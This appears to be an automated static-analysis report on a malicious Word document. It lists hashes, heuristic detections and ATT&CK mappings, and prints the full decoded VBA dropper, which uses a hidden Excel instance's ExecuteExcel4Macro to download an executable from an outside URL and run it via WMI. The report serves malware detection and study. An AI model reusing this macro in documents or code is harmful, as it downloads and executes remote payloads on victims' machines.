Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bbd3b4ef7f4e1dd9…

MALICIOUS

Office (OOXML)

24.9 KB Created: 2021-06-02 09:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: f8326e865faf3e7b93f4660c8ef09824 SHA-1: e7dba63853716f8ce1dd401da0ebec2a404cb797 SHA-256: bbd3b4ef7f4e1dd9cd06abd429798c3e27498015bcf81ebfc81d317c02d9a1d9
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains VBA macros that leverage Excel's ExecuteExcel4Macro to call the URLDownloadToFileA API. This function is used to download a payload from 'https://dumpco.re/lab/messagebox.exe' to a temporary file path constructed using environment variables and random characters. The macro then uses Win32_Process to execute the downloaded file, indicating a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        x.Visible = False
    x.ExecuteExcel4Macro ("CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://dumpco.re/lab/messagebox.exe"",""" & p & """,0,0)")
    x.Quit
  • VBA injects an Excel-4 macro CALL to a download/exec API critical OLE_VBA_XLM_CALL_INJECTION
    VBA writes Excel-4 (XLM) =CALL() formulas targeting urlmon URLDownloadToFile / Shell32 ShellExecute and runs them. This VBA-to-XLM bridge downloads and executes a payload while keeping the API names out of normal VBA keyword scanning.
    Matched line in script
        Set x = CreateObject("Excel.Application")
    x.Visible = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set x = CreateObject("Excel.Application")
    x.Visible = False
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Sub A()
    p = Environ("USERPROFILE") & "\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{" & r(8) & "-" & r(4) & "-" & r(4) & "-" & r(12) & "}.tmp"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dumpco.re/lab/messagebox.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1351 bytes
SHA-256: 7952439fca7217075859dea98474a96c6a2e200bb150ebe4d2d2707eeb67545a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function r(l As Integer) As String
    For i = 1 To l
        Randomize
        If Int(2 * Rnd + 0) = 1 Then
            r = r & Chr(Int((90 - 65 + 1) * Rnd + 65))
        Else
            r = r & Chr(Int((57 - 48 + 1) * Rnd + 48))
        End If
    Next i
End Function

Sub A()
    p = Environ("USERPROFILE") & "\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{" & r(8) & "-" & r(4) & "-" & r(4) & "-" & r(12) & "}.tmp"

    Set x = CreateObject("Excel.Application")
    x.Visible = False
    x.ExecuteExcel4Macro ("CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://dumpco.re/lab/messagebox.exe"",""" & p & """,0,0)")
    x.Quit
        
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
    objProcess.Create p, Null, objConfig, intProcessID
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 34304 bytes
SHA-256: 596f629358c2cddb3e0d681dd8ffa06a1854734b9c8c4fff913a6bfaecea48fd
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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